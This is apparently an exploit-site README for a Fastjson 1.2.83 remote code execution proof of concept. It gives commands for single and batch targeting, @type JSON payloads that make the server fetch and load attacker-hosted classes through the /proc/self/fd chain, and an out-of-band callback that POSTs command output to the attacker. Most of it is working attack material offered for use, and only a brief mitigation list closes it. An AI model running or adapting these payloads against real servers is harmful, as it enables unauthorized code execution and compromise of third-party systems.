## https://sploitus.com/exploit?id=A04EDB03-E4F4-5BF8-8E0E-784B60200C5F
# fastjson-1.2.83-gadget-rce
Fastjson 1.2.83 `getResourceAsStream` gadget RCE. Poc supports JDK8, 17, 21, and 25, and automatically attempts them. Supports batch poc verification of URLs. By default, the payload executes `id` and POSTs results to the attack side `/out` to confirm command execution results. ## Quick Usage
### Single HTTP Target
```bash
scripts/http-test.sh [Interface Path]
```
Example:
```bash
scripts/http-test.sh 172.20.10.2 19090 http://10.0.0.8:8080 /parse
```
The script will automatically attempt:
- `jdk8-http`
- `fd`
When successful, the output will look like:
```text
[+] fd: ID-OOB OK
[+] OOB POST /out from target_ip
uid=0(root) gid=0(root) groups=0(root)
```
### Batch HTTP Targets
`urls.txt` should contain one complete interface per line:
```text
http://10.0.0.8:8080/parse
http://10.0.0.9:8080/api/json
```
Run:
```bash
scripts/batch-http-test.sh 172.20.10.2 19090 urls.txt
```
You can also write the root address of each service per line, with additional interface paths:
```text
http://10.0.0.8:8080
http://10.0.0.9:8080
```
```bash
scripts/batch-http-test.sh 172.20.10.2 19090 hosts.txt /parse
```
Batch results will be output to `/tmp/fastjson-batch-*/results.jsonl`, and the full log will be in the same directory. ### Local Docker Verification
Start multiple JDK targets locally and hit `/parse` via HTTP:
```bash
HOST_IP=192.168.65.254 JDKS="8 17 21 25" ./scripts/test-jdks.sh
```
On Docker Desktop, `HOST_IP` is usually `192.168.65.254`; if not accessible, use the IP of the container to access the host. ### Manual Payload Construction
```bash
bash scripts/build.sh id-oob
```
Example:
```bash
bash scripts/build.sh 172.20.10.2 19090 id-oob fd
python3 -u poc/exploit.py 172.20.10.2 19090 http://10.0.0.8:8080 /parse --mode fd --once --wait 20
```
Modes:
- `jdk8-http`
- `fd`
## Vulnerability Mechanism
In Fastjson 1.2.83, `ParserConfig.checkAutoType` concatenates the class resource based on `@type`:
```java
String resource = typeName.replace('.', '/') + ".class";
is = defaultClassLoader.getResourceAsStream(resource);
```
Thus, special `@type` can be converted into a remote resource URL. If the target ClassLoader supports URL resources, it may request the attacker’s HTTP server to load classes with `@JSONType`. The process is as follows:
1. The attacker sends a JSON containing a special `@type`.
2. Fastjson replaces `.` with `/` and enters `getResourceAsStream` for detection.
3. The target requests the attacker’s HTTP server to download the class/JAR.
4. `@JSONType` affects the AutoType determination path.
5. If it matches `loadClass` or instantiates a malicious class, it will execute it. IPv4 will be converted to decimal format, for example:
```text
192.168.65.254 -> 3232252414
```
This prevents the `.` in the IP address from being replaced with `/`. ## Differences Between JDK Versions
| Mode | Applicable Scenarios | Behavior | Local Results |
| ----------- | ------------------------------------------------ | ----------------------------------------------------------------------------------- | ---------------------- |
| `jdk8-http` | JDK8 + Spring Boot 2 FatJar | Directly fetch `/a.class` and load it | JDK 8u492 succeeded |
| `fd` | JDK17/21 + Spring Boot 3 FatJar | First fetch `/probe`, then enumerate `/proc/self/fd/N` and load classes in JAR | JDK 17.0.19, 21.0.11 succeeded |
| `fd` | JDK25 + Spring Boot 3 FatJar | Can fetch `/probe`, but no command echoed | JDK 25.0.3 failed |
JDK8 short link usage:
```json
{"@type":"http:..3232252414:19090.a"}
```
After conversion:
```text
http://192.168.65.254:19090/a.class
```
JDK17/21 FD chain usage:
```json
[
{"@type":"jar:http:..3232252414:19090.probe!.foo.Exception"},
{"@type":"jar:file:.proc.self.fd.3!.fd3.Exception"},
{"@type":"jar:file:.proc.self.fd.4!.fd4.Exception"}
]
```
After conversion:
```text
jar:http://192.168.65.254:19090/probe!/foo/Exception.class
jar:file:/proc/self/fd/N!/fdN/Exception.class
```
Only seeing requests for `/probe` or `/a.class` means that the target can access the attacker’s resources, but it does not mean that RCE is successful; the results are based on the `uid/gid` returned from `/out`. ## Impact Conditions
- Fastjson 1.2.83
- Not enabling `-Dfastjson.parser.safeMode=true`
- Server cannot parse `@type` in untrusted JSON
- Target ClassLoader supports the corresponding resource loading paths
- Target can access the attacker’s HTTP server
## Protection
1. Enable SafeMode: `-Dfastjson.parser.safeMode=true`
2. Upgrade to fastjson2
3. Avoid using `@type` in untrusted JSON
4. Limit the business JVM from accessing external networks
5. Audit FatJar/ClassLoader behavior regarding remote URL resources